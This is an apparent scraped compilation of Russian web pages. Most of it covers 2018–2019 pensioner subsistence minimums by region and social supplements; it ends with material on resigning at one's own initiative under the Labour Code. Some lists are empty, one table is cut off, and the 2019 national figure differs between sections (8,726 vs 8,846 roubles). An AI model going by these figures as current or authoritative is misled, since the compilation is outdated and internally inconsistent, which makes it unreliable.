ФЕДЕРАЛЬНЫЙ ЗАКОН от 5 декабря 2017 года № 362-ФЗ
О ФЕДЕРАЛЬНОМ БЮДЖЕТЕ НА 2018 ГОД И НА ПЛАНОВЫЙ ПЕРИОД 2019 И 2020 ГОДОВ
Статья 8. Особенности установления отдельных расходных обязательств Российской Федерации и использования бюджетных ассигнований в сфере социального обеспечения населения
1. Установить, что в 2018 году размер материнского (семейного) капитала, предусмотренного Федеральным законом от 29 декабря 2006 года № 256-ФЗ «О дополнительных мерах государственной поддержки семей, имеющих детей», составляет 453026,0 рубля.
2. Установить в 2018 году размер накопительного взноса на одного участника накопительно-ипотечной системы жилищного обеспечения военнослужащих, включенного в реестр участников, в сумме 268465,6 рубля.
3. Установить с 1 января 2018 года размер индексации сумм, выплачиваемых по денежному обязательству непосредственно на содержание гражданина в возмещение вреда, причиненного жизни или здоровью, на основании судебного акта, предусматривающего взыскание за счет средств федерального бюджета, 1,04.
4. Утвердить распределение бюджетных ассигнований по субъектам Российской Федерации на осуществление социальных выплат для приобретения жилья гражданами, выезжающими из районов Крайнего Севера и приравненных к ним местностей, а также гражданами, выехавшими из указанных районов и местностей не ранее 1 января 1992 года, в соответствии с федеральной целевой программой «Жилище» на 2015 — 2020 годы на 2018 год и на плановый период 2019 и 2020 годов согласно приложению 26 к настоящему Федеральному закону.
5. Установить величину прожиточного минимума пенсионера в целом по Российской Федерации для определения размера федеральной социальной доплаты к пенсии в соответствии со статьей 4 Федерального закона от 24 октября 1997 года № 134-ФЗ «О прожиточном минимуме в Российской Федерации» на 2018 год в размере 8726,0 рубля.
…
potrebkor.ru
Наименование субъекта Российской Федерации | Величина прожиточного минимума пенсионера в субъекте Российской Федерации (установленная или предполагаемая) и дата ее установления (планируемого установления) | Нормативный правовой акт в соответствии с которым установлена величина прожиточного минимума пенсионера в субъекте Российской Федерации | СД |
В целом по Российской Федерации | 8 726 | Закон от 05.12.2017 № 362-ФЗ | |
Центральный федеральный округ | |||
Белгородская область | 8 016 | Закон от 31.10.2017 № 186 | ФСД |
Брянская область | 8 441 | Закон от 02.10.2017 № 80-З | ФСД |
Владимирская область | 8 452 | Закон от 27.10.2017 № 93-ОЗ | ФСД |
Воронежская область | 8 620 | Закон от 31.10.2017 № 152-ОЗ | ФСД |
Ивановская область | 8 460 | Закон от 05.10.2017 № 70-ОЗ | ФСД |
Калужская область | 8 547 | Закон от 31.10.2017 № 261-ОЗ | ФСД |
Костромская область | 8 549 | Закон от 24.10.2017 № 302-6-ЗКО | ФСД |
Курская область | 8 600 | Закон от 30.10.2017 № 67-ЗКО | ФСД |
Липецкая область | 8 620 | Закон от 02.11.2017 № 119-ОЗ | ФСД |
Орловская область | 8 550 | Закон от 08.11.2017 № 2170-ОЗ | ФСД |
Рязанская область | 8 493 | Закон от 30.10.2017 № 73-ОЗ | ФСД |
Смоленская область | 8 674 | Закон от 25.10.2017 № 110-З | ФСД |
Тамбовская область | 7 489 | Закон от 02.11.2017 № 148-З | ФСД |
Тверская область | 8 726 | Закон от 27.10.2017 № 66-ЗО | ФСД |
Тульская область | 8 622 | Закон от 26.10.2017 № 77-ЗТО | ФСД |
Ярославская область | 8 163 | Закон от 30.10.2017 № 41-З | ФСД |
Москва | 11 816 | Закон от 25.10.2017 № 37 | РСД |
Московская область | 9 527 | Закон от 01.11.2017 № 179/2017-ОЗ | РСД |
Северо-Западный федеральный округ | |||
Республика Карелия | 8 726 | Закон от 25.10.2017 № 2166-ЗРК | ФСД |
Республика Коми | 10 192 | Закон от 27.10.2017 № 70-РЗ | РСД |
Архангельская область | 10 258 | Закон от 09.10.2017 № 556-37-ОЗ | РСД |
Ненецкий а.о. | 17 956 | Закон от 26.09.2017 № 329-ОЗ | РСД |
Вологодская область | 8 726 | Закон от 28.12.2017 № 4265-ОЗ | ФСД |
Калининградская область | 8 726 | Закон от от 23.10.2017 № 106 | ФСД |
г. Санкт-Петербург | 8 726 | Закон от 29.11.2017 № 801-131 | ФСД |
Ленинградская область | 8 726 | Закон от 29.12.2017 № 91-ОЗ | ФСД |
Мурманская область | 12 523 | Закон от 11.10.2017 № 1137-01-ЗМО | РСД |
Новгородская область | 8 726 | Закон от 27.10.2017 № 167-ОЗ | ФСД |
Псковская область | 8 726 | Закон от 06.11.2017 № 1813-ОЗ | ФСД |
Северо-Кавказский федеральный округ | |||
Республика Дагестан | 8 680 | Закон от 31.10.2017 № 74 | ФСД |
Республика Ингушетия | 8 726 | Закон от 30.10.2017 № 41-РЗ | ФСД |
Кабардино-Балкарская Республика | 8 726 | Закон от 29.09.2017 № 30-РЗ | ФСД |
Карачаево-Черкесская Республика | 8 618 | Закон от 30.11.2017 № 61-РЗ | ФСД |
Республика Северная Осетия-Алания | 8 064 | Закон от 26.10.2017 № 53-РЗ | ФСД |
Чеченская Республика | 8 719 | Закон от 14.12.2017 № 48-РЗ | ФСД |
Ставропольский край | 8 135 | Закон от 12.10.2017 № 109-КЗ | ФСД |
Южный федеральный округ | |||
Республика Адыгея | 8 138 | Закон от 01.10.2017 № 88 | ФСД |
Республика Калмыкия | 7 755 | Закон от 02.10.2017 № 254-V-З | ФСД |
Краснодарский край | 8 537 | Закон от 02.11.2017 № 3674-КЗ | ФСД |
Астраханская область | 7 961 | Закон от 31.10.2017 № 71/2017-ОЗ | ФСД |
Волгоградская область | 8 535 | Закон от 31.10.2017 № 93-ОД | ФСД |
Ростовская область | 8 488 | Закон от 19.10.2017 № 1199-ЗС | ФСД |
Республика Крым | 8 530 | Закон от 07.11.2017 № 429-ЗРК/2017 | ФСД |
г. Севастополь | 8 722 | Закон от 04.12.2017 № 381-ЗС | ФСД |
Приволжский федеральный округ | |||
Республика Башкортостан | 8 320 | Закон от 30.10.2017 № 540-З | ФСД |
Республика Марий Эл | 8 036 | Закон от 23.10.2017 № 50-З | ФСД |
Республика Мордовия | 8 194 | Закон от 03.11.2017 № 74-З | ФСД |
Республика Татарстан | 8 232 | Закон от 22.09.2017 № 67-ЗРТ | ФСД |
Удмуртская Республика | 8 502 | Закон от 07.11.2017 № 57-РЗ | ФСД |
Чувашская Республика | 7 953 | Закон от 26.10.2017 № 59 | ФСД |
Кировская область | 8 474 | Закон от 05.10.2017 № 99-ОЗ | ФСД |
Нижегородская область | 8 100 | Закон от 05.10.2017 № 119-З | ФСД |
Оренбургская область | 8 059 | Закон от 26.10.2017 № 585/130-VI-ОЗ | ФСД |
Пензенская область | 7 861 | Закон от 31.10.2017 № 3093-ЗПО | ФСД |
Пермский край | 8 503 | Закон от 31.10.2017 № 150-ПК | ФСД |
Самарская область | 8 413 | Закон от 31.10.2017 № 103-ГД | ФСД |
Саратовская область | 7 990 | Закон от 26.10.2017 № 80-ЗСО | ФСД |
Ульяновская область | 8 474 | Закон от 22.09.2017 № 104-ОЗ | ФСД |
Уральский федеральный округ | |||
Курганская область | 8 630 | Закон от 25.10.2017 № 77 | ФСД |
Свердловская область | 8 726 | Закон от 03.11.2017 № 118-ОЗ | ФСД |
Тюменская область | 8 726 | Закон от 27.10.2017 № 84 | ФСД |
Челябинская область | 8 586 | Закон от 31.10.2017 № 599-ЗО | ФСД |
Ханты-Мансийский а.о.-Югре | 11 708 | Закон от 28.09.2017 № 53-ОЗ | РСД |
Ямало-Ненецкий а.о. | 13 425 | Закон от 31.10.2017 № 82-ЗАО | РСД |
Сибирский федеральный округ | |||
Республика Алтай | 8 594 | Закон от 16.11.2017 № 50-РЗ | ФСД |
Республика Бурятия | 8 726 | Закон от 10.10.2017 № 2631-V | ФСД |
Республика Тыва | 8 726 | Закон от 5.10.2017 № 311-ЗРТ | ФСД |
Республика Хакасия | 8 543 | Закон от07.12.2017 № 83-ЗРХ | ФСД |
Алтайский край | 8 543 | Закон от 01.11.2017 № 83-ЗС | ФСД |
Красноярский край | 8 726 | Закон от 30.11.2017 № 4-1147 | ФСД |
Иркутская область | 8 723 | Закон от 31.10.2017 № 68-ОЗ | ФСД |
Кемеровская область | 8 347 | Закон от 26.09.2017 № 71-ОЗ | ФСД |
Новосибирская область | 8 725 | Закон от 05.12.2017 № 231-ОЗ | ФСД |
Омская область | 8 480 | Закон от 31.10.2017 № 2009-ОЗ | ФСД |
Томская область | 8 561 | Закон от 26.10.2017 № 652 | ФСД |
Забайкальский край | 8 726 | Закон от 26.10.2017 № 1526-ЗЗК | ФСД |
Дальневосточный федеральный округ | |||
Республика Саха (Якутия) | 13 951 | Закон от 26.10.2017 № 1351-V | РСД |
Приморский край | 9 151 | Закон от 27.10.2017 № 183-КЗ | РСД |
Хабаровский край | 10 895 | Закон от 25.10.2017 № 283 | РСД |
Амурская область | 8 726 | Закон от 27.10.2017 № 129-ОЗ | ФСД |
Камчатский край | 16 543 | Закон от 28.09.2017 № 132 | РСД |
Магаданская область | 15 460 | Закон от 24.10.2017 № 2197-ОЗ | РСД |
Сахалинская область | 12 333 | Закон от 24.10.2017 № 95-ЗО | РСД |
Еврейская авт.обл. | 9 013 | Закон от 26.10.2017 № 158-ОЗ | РСД |
Чукотский а.о. | 19 000 | Закон от 23.10.2017 № 64-ОЗ | РСД |
г.Байконур | 8 726 | ФСД |
www.pfrf.ru
СОДЕРЖАНИЕ
1. Как рассчитывается прожиточный минимум пенсионера 3. Что делать, если пенсия меньше прожиточного минимумаПрожиточный минимум (ПМ) – это сумма финансовых средств, требуемых для обеспечения нормальной жизнедеятельности человека, т.е. величина ежемесячной минимальной потребительской корзины. Рассчитывается прожиточный минимум для пенсионеров для определения необходимой добавки к пенсии.
На 2019 год федеральный бюджет определил величину прожиточного минимума для людей, вышедших на пенсию по РФ – 8726 рубля. Законы, послужившие основанием расчета величины ПМ людей пенсионного возраста:
На расчет суммы влияют следующие факторы:
Человек, пребывающий на пенсии должен ежемесячно получать сумму, достаточную для обеспечения себя продуктами питания и для оплаты услуг. Но практика показывает, что есть пенсии ниже прожиточной нормы. Тогда задействуются различные государственные программы, цель которых доплата пенсионерам до прожиточного минимума.
Рассмотрим прожиточный минимум по Центральному Федеральному Округу:
Наименование области/города |
ПМП, р. |
г. Москва |
11816 |
Московская |
9527 |
Тверская |
8726 |
Смоленская |
8674 |
Ярославская |
8163 |
Брянская |
8441 |
Калужская |
8547 |
Владимирская |
8452 |
Ивановская |
8460 |
Костромская |
8549 |
Курская |
8600 |
Орловская |
8550 |
Тульская |
8622 |
Рязанская |
8493 |
Липецкая |
8620 |
Белгородская |
8016 |
Воронежская |
8620 |
Тамбовская |
7489 |
Для правильных данных расчета суммы ПМ слаживаются все суммы, относящиеся к нему и составляющие потребительскую корзину:
Учитывается и оплата:
Не учитывается здесь оказание единовременной помощи для повышения уровня жизнедеятельности.
Из-за того, что минимальный размер оплаты труда стал приравниваться к ПМ, на региональном уровне также, эти показатели не всегда соответствуют друг другу. Например, региональные нормативные акты предполагают наименьший размер оплаты труда по региону выше, чем ПМ. С 01.05.2018 сумма МРОТ поднялась на 1674 рубля и составила 11 163 р. ФЗ № 421 от 28 декабря 2017 года ввел механизм поднятия МРОТ до размера ПМ работоспособного населения.
Правительство РФ проводит мероприятия, направленные на качественные улучшения уровня жизни россиян и поддержку стабильности в социальной сфере. Государство обеспечивает российским гражданам получение доходов, сравнимых с ПМ, в том числе и пенсионных выплат.
ПМ рассчитывается по отношению к таким категориям:
Величина пенсионного ПМ определяется Постановлением Федерального закона №134. Значение вспомогательных социальных льгот постоянно меняется, потому что зависит непосредственно от цен:
В ПМ для неработающих людей на пенсии, с расчетом на 1 год, входят представленные в таблице продукты:
Продукты |
Килограмм |
Крупы, мучное |
98,2 |
Картофель |
80 |
Овощные культуры |
98 |
Фрукты |
45 |
Кондитерские изделия в виде сахара |
21,2 |
Мясо |
54 |
Рыба |
16 |
Молочная продукция |
257,8 |
Яйца |
200 штук |
Масло, жиры |
10 |
Чай, специи |
4,2 |
Перерасчет дотаций происходит один раз за три месяца. Финансирование и величина ПМ закрепляется и осуществляется на федеральном уровне и региональном.
Субсидии на федеральном уровне устанавливаются в областях РФ, где пенсионные выплаты меньше, чем в остальных регионах страны. Доплачивать пенсионеру будут по такой формуле, чтобы совокупная пенсионная сумма была выше ПМ, закрепленного в области. Финансовые средства выделяются из федерального бюджета в фонд, отведенный для осуществления пенсионных выплат по старости.
Доплата пенсионерам до ПМ на региональном уровне устанавливается в областях, в которых ПМ больше, чем в остальных областях РФ. К ним относятся северные и регионы-доноры.
На региональную доплату могут претендовать люди, которые:
Если прожиточный минимум пенсионера ниже предусмотренного на федерально-региональном уровне, значит он имеет полное право подать документы на социальную бюджетную доплату. По поводу федеральной надбавки следует обращаться в пенсионный фонд, региональной – в территориальные органы соцзащиты населения региона.
В каждом регионе Российской Федерации свой ПМ. Узнать величину его величину в определенном регионе можно, поинтересовавшись у работников социальных служб либо посетив официальный интернет-ресурс администрации области.
Для оформления надбавки пенсионеру нужно предоставить в соответствующий орган следующие документы:
По состоянию на 2019 г. величина прожиточного минимума пенсионера на уровне больше федерального определен в нескольких областях Дальнего Востока, Севера и в Москве и равняется 11 816 рублям.
Была ли эта статья полезной?
Да
Нет
0 человек ответили
Спасибо, за Ваш отзыв!
человек ответили
Что-то пошло не так и Ваш голос не был учтен.
Нашли в тексте ошибку?
Выделите её, нажмите Ctrl + Enter и мы всё исправим!
sovets24.ru
Методика расчёта регионального прожиточного минимума пенсионеров для установления социальной доплаты к пенсии станет единой для всех субъектов Федерации. Специальная формула для этого утверждена постановлением Правительства, которое вступает в силу 7 августа.
По мнению председателя Правительства Дмитрия Медведева, новый подход позволит исключить необоснованное занижение величины регионального прожиточного минимума пенсионера. «Он будет рассчитываться с учётом ситуации в конкретном регионе и ориентироваться на прожиточный минимум пенсионера в стране в целом в первых двух кварталах текущего года», — пояснил премьер-министр. Новый порядок приведёт к повышению уровня социальной поддержки пожилых россиян, убеждён он.
«То, что очень многие регионы занижали свой прожиточный минимум и достаточно вольно с ним обращались, — это бесспорный факт, — сказал «Парламентской газете» первый заместитель председателя Комитета Госдумы по труду, социальной политике и делам ветеранов Михаил Тарасенко. — Данные изменения должны упорядочить процесс расчёта этой величины».
Разработать новую методику Правительство обязала депутатская поправка в правительственный законопроект об изменении способа индексации пенсий малообеспеченным пенсионерам. Напомним, согласно ему, выплаты россиянам, чьи пенсии меньше прожиточного минимума в регионе, должны сначала доводиться социальной надбавкой до этой величины и только после этого индексироваться. Однако во время обсуждения документа в Госдуме депутаты указали, что в некоторых субъектах имеют место манипуляции с самой величиной прожиточного минимума, который порой региональный Минфин пытается подогнать под удобные для себя цифры.
После этого руководитель фракции «Единая Россия», вице-спикер Госдумы Сергей Неверов, первый замглавы фракции по законопроектной деятельности Андрей Исаев и Михаил Тарасенко и подготовили поправку, призванную проблему решить. «После принятия этой поправки… расчёт прожиточного минимума будет честным, открытым и абсолютно объективным. Возможность манипулировать с величиной прожиточного минимума в субъектах Федерации исчезнет», — заявил при обсуждении документа Исаев.
При этом парламентарий опроверг информацию о том, что утверждение новой методики приведёт к тому, что прожиточный минимум пенсионеров станет единым для всех регионов. «Прожиточный минимум будет по-прежнему устанавливаться в каждом субъекте Федерации», — сказал он.
Пострадавших среди пенсионеров от внедрения новой формулы не будет, уверены законодатели. Даже в том случае, если после перерасчёта прожиточного минимума в субъекте его величина окажется ниже, чем сейчас, на размере пенсий малообеспечнных граждан это никак не скажется. «Будет введена «сохранная норма», — заверила «Парламентскую газету» заместитель председателя Комитета Совета Федерации по социальной политике Елена Бибикова. — То есть в тех случаях, когда, исходя из новой величины прожиточного минимума, социальная доплата должна быть уменьшена, урезать её не будут».
www.pnp.ru
В России |
10 213 |
11 069 |
8464 |
9950 |
Алтайский край |
9559 |
9995 |
8199 |
9835 |
Амурская область |
10 980 |
11 661 |
8924 |
11 400 |
Архангельская область |
12 090 |
13 149 |
10 056 |
11 917 |
Астраханская область |
9622 |
10 126 |
7757 |
10 461 |
Белгородская область |
8290 |
8914 |
6899 |
8135 |
Брянская область |
9880 |
10 593 |
8202 |
9720 |
Владимирская область |
9754 |
10 623 |
8206 |
9744 |
Волгоградская область |
9069 |
9731 |
7400 |
9155 |
Вологодская область |
10 980 |
11 921 |
9108 |
10 808 |
Воронежская область |
8744 |
9427 |
7282 |
8528 |
г. Санкт-Петербург |
11 021,30 |
12 079,50 |
8954,1 |
10 754,60 |
г. Москва |
16 260 |
18 580 |
11 505 |
13 938 |
г. Севастополь |
10 353 |
11 064 |
8485 |
10 982 |
Еврейская автономная область |
12 825,08 |
13 588,19 |
10 358,95 |
13 411,49 |
Забайкальский край |
11 213,39 |
11 691,12 |
8877,65 |
11 704,00 |
Ивановская область |
10 102 |
10 966 |
8405 |
10 142 |
Иркутская область |
10 544 |
11 186 |
8487 |
10 753 |
Кабардино-Балкарская Республика |
10 557 |
10 969 |
8243 |
11 336 |
Калининградская область |
10 828 |
11 596 |
8848 |
10 552 |
Калужская область |
10 482 |
11 289 |
8689 |
10 292 |
Камчатский край |
19 555 |
20 618 |
15 587 |
21 054 |
Карачаево-Черкесская Республика |
9347 |
9852 |
7531 |
9612 |
Кемеровская область |
9476 |
10 031 |
7625 |
9928 |
Кировская область |
9897 |
10 572 |
8086 |
10 121 |
Костромская область |
9985 |
10 863 |
8354 |
9849 |
Краснодарский край |
10 238 |
11 059 |
8455 |
9890 |
Красноярский край |
11 914 |
12 605 |
9288 |
12 490 |
Курганская область |
9782 |
10 445 |
8087 |
10 289 |
Курская область |
9280 |
9954 |
7707 |
9338 |
Ленинградская область |
10 085 |
10 770 |
8777 |
9877 |
Липецкая область |
8734 |
9433 |
7326 |
8855 |
Магаданская область |
18 146 |
19 085 |
14 275 |
19 519 |
Московская область |
12 181 |
13 496 |
9100 |
11 925 |
Мурманская область |
14 798 |
15 439 |
12 345 |
15 121 |
Ненецкий автономный округ |
20 460 |
21 527 |
16 690 |
21 427 |
Нижегородская область |
9487 |
10 209 |
7837 |
9805 |
Новгородская область |
10 652 |
11 568 |
8822 |
10 589 |
Новосибирская область |
10 843 |
11 527 |
8723 |
11 145 |
Омская область |
9346 |
9891 |
7501 |
9637 |
Оренбургская область |
8825 |
9391 |
7256 |
9184 |
Орловская область |
9684 |
10 391 |
8052 |
9642 |
Пензенская область |
8906 |
9621 |
7381 |
9221 |
Пермский край |
10 098 |
10 804 |
8279 |
10 289 |
Приморский край |
12 537 |
13 218 |
10 066 |
13 699 |
Псковская область |
10 769 |
11 680 |
8893 |
10 594 |
Республика Адыгея |
9034 |
9643 |
7411 |
9143 |
Республика Алтай |
9844 |
10 241 |
8247 |
10 098 |
Республика Башкортостан |
8940 |
9504 |
7283 |
8975 |
Республика Бурятия |
10 497 |
10 904 |
8297 |
10 993 |
Республика Дагестан |
9301 |
9552 |
7345 |
9488 |
Республика Ингушетия |
9977 |
9572 |
7346 |
9601 |
Республика Калмыкия |
9103 |
9512 |
7298 |
9254 |
Республика Карелия |
13 041 |
14 206 |
10 886 |
12 285 |
Республика Коми |
12 948 |
13 892 |
10 582 |
13 025 |
Республика Крым |
9904 |
10 600 |
8146 |
10 509 |
Республика Марий Эл |
9078 |
9673 |
7441 |
9380 |
Республика Мордовия |
8503 |
9132 |
6975 |
8924 |
Республика Саха (Якутия) |
16 463 |
17 475 |
13 242 |
16 846 |
Республика Северная Осетия – Алания |
9049 |
9532 |
7315 |
9402 |
Республика Татарстан |
8880 |
9450 |
7243 |
8941 |
Республика Тыва |
10 032 |
10 385 |
7947 |
10 493 |
Республика Хакасия |
10 053 |
10 609 |
8080 |
10 557 |
Ростовская область |
9671 |
10 285 |
7841 |
10 117 |
Рязанская область |
9821 |
10 617 |
8139 |
9819 |
Самарская область |
10 219 |
11 218 |
8080 |
10 129 |
Саратовская область |
8725 |
9390 |
7214 |
8947 |
Сахалинская область |
13 851 |
14 551 |
10 970 |
14 712 |
Свердловская область |
10 656 |
11 386 |
8785 |
11 022 |
Смоленская область |
10 364 |
11 134 |
8578 |
10 200 |
Ставропольский край |
8749 |
9298 |
7100 |
9016 |
Тамбовская область |
8861 |
9629 |
7425 |
8807 |
Тверская область |
10 410,07 |
11 219,41 |
8 634,29 |
10 860,04 |
Томская область |
11 179 |
11 768 |
8920 |
11 582 |
Тульская область |
9915 |
10 627 |
8508 |
9760 |
Тюменская область |
10 887 |
11 467 |
8708 |
11 139 |
Удмуртская Республика |
9196 |
9748 |
7481 |
9242 |
Ульяновская область |
9631 |
10 335 |
7907 |
9842 |
Хабаровский край |
13 396 |
14 228 |
10 802 |
14 158 |
Ханты-Мансийский автономный округ – Югра |
14 512 |
15 646 |
www.26-2.ru
Регион России | Прожиточный минимум пенсионера на 2019 год |
В целом по России | 8 846 ₽ |
Белгородская область | 8 016 ₽ |
Брянская область | 8 523 ₽ |
Владимирская область | 8 526 ₽ |
Воронежская область | 8 750 ₽ |
Ивановская область | 8 576 ₽ |
Калужская область | 8 708 ₽ |
Костромская область | 8 630 ₽ |
Курская область | 8 600 ₽ |
Липецкая область | 8 620 ₽ |
Орловская область | 8 730 ₽ |
Рязанская область | 8 568 ₽ |
Смоленская область | 8 825 ₽ |
Тамбовская область | 7 811 ₽ |
Тверская область | 8 846 ₽ |
Тульская область | 8 658 ₽ |
Ярославская область | 8 163 ₽ |
Москва | 12 115 ₽ |
Московская область | 9 908 ₽ |
Республика Карелия | 8 846 ₽ |
Республика Коми | 10 742 ₽ |
Архангельская область | 10 258 ₽ |
Ненецкий а.о. | 17 956 ₽ |
Вологодская область | 8 846 ₽ |
Калининградская обл. | 8 846 ₽ |
г.Санкт-Петербург | 8 846 ₽ |
Ленинградская область | 8 846 ₽ |
Мурманская область | 12 674 ₽ |
Новгородская область | 8 846 ₽ |
Псковская область | 8 806 ₽ |
Республика Дагестан | 8 680 ₽ |
Республика Ингушетия | 8 846 ₽ |
Кабардино-Балкарская | 8 846 ₽ |
Карачаево-Черкесская | 8 846 ₽ |
Северная Осетия-Алания | 8 455 ₽ |
Чеченская Республика | 8 735 ₽ |
Ставропольский край | 8 297 ₽ |
Республика Адыгея | 8 138 ₽ |
Республика Калмыкия | 8 081 ₽ |
Краснодарский край | 8 657 ₽ |
Астраханская область | 8 352 ₽ |
Волгоградская область | 8 569 ₽ |
Ростовская область | 8 488 ₽ |
Республика Крым | 8 370 ₽ |
г. Севастополь | 8 842 ₽ |
Башкортостан | 8 645 ₽ |
Республика Марий Эл | 8 191 ₽ |
Республика Мордовия | 8 522 ₽ |
Республика Татарстан | 8 232 ₽ |
Удмуртская Республика | 8 502 ₽ |
Чувашская Республика | 7 953 ₽ |
Кировская область | 8 474 ₽ |
Нижегородская область | 8 102 ₽ |
Оренбургская область | 8 252 ₽ |
Пензенская область | 8 404 ₽ |
Пермский край | 8 539 ₽ |
Самарская область | 8 413 ₽ |
Саратовская область | 8 278 ₽ |
Ульяновскя область | 8 474 ₽ |
Курганская область | 8 750 ₽ |
Свердловская область | 8 846 ₽ |
Тюменская область | 8 846 ₽ |
Челябинская область | 8 691 ₽ |
Ханты-Мансийский а.о. | 12 176 ₽ |
Ямало-Ненецкий а.о. | 13 425 ₽ |
Республика Алтай | 8 712 ₽ |
Республика Бурятия | 8 846 ₽ |
Республика Тыва | 8 846 ₽ |
Республика Хакасия | 8 782 ₽ |
Алтайский край | 8 669 ₽ |
Красноярский край | 8 846 ₽ |
Иркутская область | 8 841 ₽ |
Кемеровская область | 8 387 ₽ |
Новосибирская область | 8 814 ₽ |
Омская область | 8 480 ₽ |
Томская область | 8 795 ₽ |
Забайкальский край | 8 846 ₽ |
Республика Саха (Якутия) | 13 951 ₽ |
1 зона: | 17 011 ₽ |
2 зона: | 13 576 ₽ |
Приморский край | 9 988 ₽ |
Хабаровский край | 10 895 ₽ |
Амурская область | 8 846 ₽ |
Камчатский край | 16 543 ₽ |
Магаданская область | 15 460 ₽ |
Сахалинская область | 12 333 ₽ |
Еврейская авт.обл. | 9 166 ₽ |
Чукотский а.о. | 19 000 ₽ |
г.Байконур | 8 846 ₽ |
azbukapensii.ru
Увольнение по собственному желанию (другими словами, по инициативе работника) — одно из самых распространенных оснований расторжения трудового договора. Инициатива прекращения трудовых отношений исходит от работника и не предполагает ее одобрения работодателем, ведь нельзя заставить человека трудиться против его воли. Однако и при увольнении по собственному желанию необходимо соблюдать определенные правила.
Порядок увольнения по собственному желанию предполагает, прежде всего, написание работником заявления на увольнение. В заявлении указывается дата увольнения и его основание («по собственному желанию»), оно должно быть подписано работником с указанием даты составления.
Указывать в заявлении причину увольнения по собственному желанию необязательно. Однако если обстоятельства требуют уволиться без отработки, то причину указать необходимо, к тому же работники кадровой службы могут попросить подтвердить её документально. В остальных случаях достаточно фразы «прошу уволить меня по собственному желанию такого-то числа».
После того, как заявление на увольнение передано в кадровую службу, составляется приказ об увольнении. Обычно используется унифицированная форма такого приказа (форма № Т-8), утвержденная постановлением Госкомстата от 05.01.2004 №1. В приказе необходимо сделать ссылку на п.3 ч.1 ст.77 ТК РФ, а также привести реквизиты заявления работника. Работника нужно ознакомить с приказом об увольнении под роспись. Если приказ невозможно довести до сведения увольняемого (он отсутствует или отказался ознакомиться с приказом), то на документе делается соответствующая запись.
По общему правилу, закрепленному в Трудовом кодексе, работник должен предупредить работодателя о предстоящем увольнении не позднее чем за две недели. Течение этого срока начинается на следующий день после получения работодателем заявления об увольнении.
Однако так называемый двухнедельный срок отработки может быть сокращен по соглашению между работником и работодателем. К тому же, закон не обязывает работника в течение срока предупреждения об увольнении находиться на рабочем месте. Он может уйти в отпуск, на больничный и т.п., при этом сроки увольнения не изменятся.
Из общего правила о двухнедельной отработке есть законодательно закрепленные исключения. Так, при увольнении в период испытания срок предупреждения об увольнении составляет три дня, а при увольнении руководителя организации – один месяц.
Расчет при увольнении по собственному желанию, так же как и по другим основаниям, должен быть произведен в день увольнения, то есть в последний день работы. Расчет при увольнении предполагает выплату всех причитающихся работнику сумм: заработной платы, компенсации за неиспользованные отпуска, выплат, предусмотренных коллективным и трудовым договором. Если увольняемый сотрудник использовал отпуск авансом, производится перерасчет выплаченных отпускных, соответствующая сумма удерживается из заработной платы при окончательном расчете.
В случае если работник в день увольнения отсутствовал на работе и не смог получить расчет, он вправе обратиться за ним в любое другое время. Причитающаяся ему сумма должна быть выплачена не позднее следующего дня после обращения.
Уволиться по собственному желанию в период отпуска закон не запрещает. Такой запрет предусмотрен лишь для увольнения по инициативе работодателя. Работник же вправе написать заявление об увольнении, будучи в отпуске, или отнести на период отпуска дату предполагаемого увольнения.
Если работник хочет подать заявление об увольнении, находясь в отпуске, отзывать его из отпуска не требуется
Также сотрудник может уволиться по собственному желанию после использования отпуска. Отметим, что предоставление отпуска с последующим увольнением – это право, а не обязанность работодателя. В случае предоставления такого отпуска днем увольнения считается последний день отпуска. Однако для целей расчетов с работником последним днем работы в этом случае является день, предшествующий началу отпуска. В этот день следует выдать работнику трудовую книжку и произвести все необходимые выплаты. Это своеобразное исключение из общего правила, приведенного выше, подтверждаемое судебной практикой.
Уволиться по собственному желанию во время больничного можно. Закон запрещает такое увольнение только по инициативе работодателя.
Работник вправе подать заявление об увольнении в период временной нетрудоспособности. Также может возникнуть ситуация, когда на период больничного попадает оговоренная ранее дата увольнения. В этом случае работодатель оформит увольнение в день, указанный в заявлении на увольнение, при условии, что работник это заявление не отзывал. Самостоятельно изменять дату увольнения работодатель не вправе.
В последний день работы, даже если он приходится на период больничного, работодатель производит окончательный расчет, издает приказ об увольнении, в котором делает пометку об отсутствии работника и невозможности ознакомить его с приказом. За трудовой книжкой работник явится после выздоровления либо, с его согласия, она будет направлена ему почтой. Все причитающиеся работнику суммы будут ему выплачены не позднее следующего дня после предъявления им соответствующего требования. Однако пособие по временной нетрудоспособности будет назначено работодателем в течение 10 дней со дня предоставления больничного и выплачено в ближайший после назначения день, установленный для выплаты зарплаты в организации.
www.consultant.ru
Работник имеет право расторгнуть трудовой договор, предупредив об этом работодателя в письменной форме не позднее чем за две недели, если иной срок не установлен настоящим Кодексом или иным федеральным законом. Течение указанного срока начинается на следующий день после получения работодателем заявления работника об увольнении.
По соглашению между работником и работодателем трудовой договор может быть расторгнут и до истечения срока предупреждения об увольнении.
В случаях, когда заявление работника об увольнении по его инициативе (по собственному желанию) обусловлено невозможностью продолжения им работы (зачисление в образовательную организацию, выход на пенсию и другие случаи), а также в случаях установленного нарушения работодателем трудового законодательства и иных нормативных правовых актов, содержащих нормы трудового права, локальных нормативных актов, условий коллективного договора, соглашения или трудового договора работодатель обязан расторгнуть трудовой договор в срок, указанный в заявлении работника.
До истечения срока предупреждения об увольнении работник имеет право в любое время отозвать свое заявление. Увольнение в этом случае не производится, если на его место не приглашен в письменной форме другой работник, которому в соответствии с настоящим Кодексом и иными федеральными законами не может быть отказано в заключении трудового договора.
По истечении срока предупреждения об увольнении работник имеет право прекратить работу. В последний день работы работодатель обязан выдать работнику трудовую книжку, другие документы, связанные с работой, по письменному заявлению работника и произвести с ним окончательный расчет.
Если по истечении срока предупреждения об увольнении трудовой договор не был расторгнут и работник не настаивает на увольнении, то действие трудового договора продолжается.
www.zakonrf.info
Пункт и статья трудового кодекса | Запись в трудовую книжку |
п. 1 ст. 77 | Трудовой договор прекращен по соглашению сторон, пункт 1 части первой статьи 77 Трудового кодекса Российской Федерации |
п. 2 ст. 77 | Трудовой договор прекращен в связи с истечением срока трудового договора, пункт 2 части первой статьи 77 Трудового кодекса Российской Федерации |
п. 3 ст. 77 | Трудовой договор расторгнут по инициативе работника, пункт 3 части первой статьи 77 Трудового кодекса Российской Федерации |
п. 5 ст. 77 | Трудовой договор прекращен в связи с переводом работника по его просьбе на работу в Общество с ограниченной ответственностью «Каркас», пункт 5 части первой статьи 77 Трудового кодекса Российской Федерации |
